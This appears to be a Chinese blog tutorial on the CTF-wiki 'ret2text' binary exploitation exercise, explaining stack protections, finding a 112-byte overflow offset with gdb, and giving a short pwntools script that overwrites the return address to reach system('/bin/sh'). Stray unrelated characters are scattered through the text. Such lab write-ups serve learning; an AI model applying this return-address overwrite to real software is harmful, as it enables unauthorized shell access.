二進(jìn)制安全
不論是網(wǎng)絡(luò)安全中的web安全還是二進(jìn)制安全等都是一個(gè)很玄學(xué)的東西终佛,科學(xué)的盡頭是是玄學(xué)嘛,不論你選的是哪個(gè)方向翔忽,用心就好了英融,重在堅(jiān)持了盏檐。我會(huì)通過寫文章的方式來記錄自己的新的體會(huì),這本身就是具有成就感驶悟。
工具安裝環(huán)境搭建
首先需要一個(gè)Ubuntu的系統(tǒng)以及PWN的神器IDA等等插件具體請看這篇二進(jìn)制入門環(huán)境安裝文章
這里就不多說了胡野,直接做題就好了。
開始做題
此次做題我們用的是CTFwiki中的ret2text賦予他執(zhí)行權(quán)限(chmod 777 ret2text)
0x1
拿到一道題的第一步我們先去檢查他的保護(hù)機(jī)制
checksec ret2text
Arch:? ? i386-32-little //文件為32位程序
RELRO:? ? Partial RELRO
Stack:? ? No canary found? ? //未開啟canary保護(hù)
NX:? ? ? NX enabled? ? //開啟了棧不可執(zhí)行保護(hù)
PIE:? ? ? No PIE (0x8048000)? ? //未開啟地址無關(guān)可執(zhí)行
既然提到了保護(hù)機(jī)制的原理我們可以參考這篇文章Linux中的保護(hù)機(jī)制只有了解了它的保護(hù)機(jī)制我們才可以通過某種手法來繞過利用痕鳍,從而拿到我們想要的東西硫豆。
canary(棧保護(hù))
當(dāng)啟用棧保護(hù)后,函數(shù)開始執(zhí)行的時(shí)候會(huì)先往棧底插入 cookie
信息笼呆,當(dāng)函數(shù)真正返回的時(shí)候會(huì)驗(yàn)證 cookie 信息是否合法 (棧幀銷毀前測試該值是否被改變)熊响,如果不合法就停止程序運(yùn)行
(棧溢出發(fā)生)。攻擊者在覆蓋返回地址的時(shí)候往往也會(huì)將 cookie 信息給覆蓋掉诗赌,導(dǎo)致棧保護(hù)檢查失敗而阻止 shellcode
的執(zhí)行汗茄,避免漏洞利用成功。在 Linux 中我們將 cookie 信息稱為 Canary铭若。
PIE
如果程序開啟了PIE保護(hù)的話洪碳,在每次加載程序時(shí)都變換加載地址
NX(DEP)
NX即No-eXecute(不可執(zhí)行)的意思,限制一塊內(nèi)存區(qū)域不可執(zhí)行叼屠。
ASLR
ASLR(地址隨機(jī)化)是一種針對(duì)緩沖區(qū)溢出的安全保護(hù)技術(shù)瞳腌,通過對(duì)堆、棧环鲤、共享庫映射等線性區(qū)布局的隨機(jī)化,通過增加攻擊者預(yù)測目的地址的難度憎兽,防止攻擊者直接定位攻擊代碼位置冷离,達(dá)到阻止溢出攻擊的目的。
但是纯命,地址隨機(jī)化不是對(duì)所有模塊和內(nèi)存區(qū)都進(jìn)行隨機(jī)化西剥!雖然libc、棧亿汞、堆的加載位置被隨機(jī)化瞭空,但主鏡像不會(huì)。
0x2
通過第一步觀察到本題是32位程序疗我,對(duì)應(yīng)的是32的IDA咆畏。加載出來的是匯編語言,然后就要去看它的main函數(shù)按F5反匯編吴裤,觀察代碼
看到這里存在棧溢出漏洞旧找。
棧溢出漏洞
溢出溢出,字面上就是往容器里加的水超過了水的容積麦牺,簡單講钮蛛,棧溢出就是向棧中某個(gè)變量中寫入的字節(jié)數(shù)超過了這個(gè)變量本身所申請的字節(jié)數(shù)鞭缭,造成溢出。發(fā)生棧溢出的條件:程序必須向棧上寫入數(shù)據(jù)魏颓。寫入的數(shù)據(jù)大小沒有被良好地控制岭辣。利用方式:覆蓋程序的返回地址為攻擊者所控制的地址,比如該地址為執(zhí)行shellcode的地址shellcode是一段用于利用軟件漏洞而執(zhí)行的代碼甸饱,shellcode為16進(jìn)制的機(jī)器碼沦童,可以讓攻擊者獲得shell,利用pwntools可自動(dòng)生成柜候,等用到再說搞动。可能造成棧溢出的函數(shù)渣刷。
可能造成棧溢出的函數(shù)有:gets,scanf,vscanf,sprintf,strcpy,strcat鹦肿,bcopy
摘自某大佬博客
0x3
繼續(xù)瀏覽其他函數(shù)的偽代碼。發(fā)現(xiàn)secure函數(shù)中調(diào)用了system(“/bin/sh”)辅柴,我們只需要想辦法執(zhí)行這system(“/bin/sh”)從而拿到我們想要的shell箩溃。
我們現(xiàn)在大概確定了棧溢出漏洞,我們首先要知道這個(gè)漏洞到底有多深碌嘀,然后我們了解了這個(gè)漏洞的深度把東西填裝進(jìn)去讓他覆蓋到這個(gè)system(“/bin/sh”)這個(gè)地址我們就可以得到shell了涣旨。那如何確定這個(gè)偏移量和這個(gè)地址呢?
第一步利用gdb進(jìn)行調(diào)試看它的偏移
gdb -q ./ret2text? ? ? ? ?
//gdb載入該文件
pattern create 200? ? ?
//制造200個(gè)填充字符(多少字符都行)股冗,先把他復(fù)制下來
r? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
//運(yùn)行程序
pattern offset 地址? ? ?
//確定偏移
計(jì)算的偏移量為112霹陡,下面找到system(“/bin/sh”)地址就可以構(gòu)造exp了,那么我們看在IDA看在secure中調(diào)用system(“/bin/sh”)的地址
exp如下
from pwn import*? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
//導(dǎo)入python庫
p = process("./ret2text")? ? ? ? ? ? ? ? ? ? ?
//與文件建立本地連接止状,遠(yuǎn)程連接用r = remote('ip',端口)
payload = 'a'*112 + p32(0x804863A)?
?//p32()將其打包烹棉,64位用p64()
p.sendline(payload)? ? ? ? ? ? ? ? ? ? ? ? ? ?
//發(fā)送payload
p.interactive()? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
//直接進(jìn)行交互,相當(dāng)于回到shell的模式怯疤,在取得shell之后使用
執(zhí)行exp
pwntools參數(shù)及使用可參照:pwntools使用
最后推薦學(xué)習(xí)網(wǎng)站:CTFwiki 看雪論壇 吾愛破解 B站 都有不錯(cuò)的資源學(xué)習(xí)浆洗。
此篇文章如果存在問題,還望大佬批評(píng)指正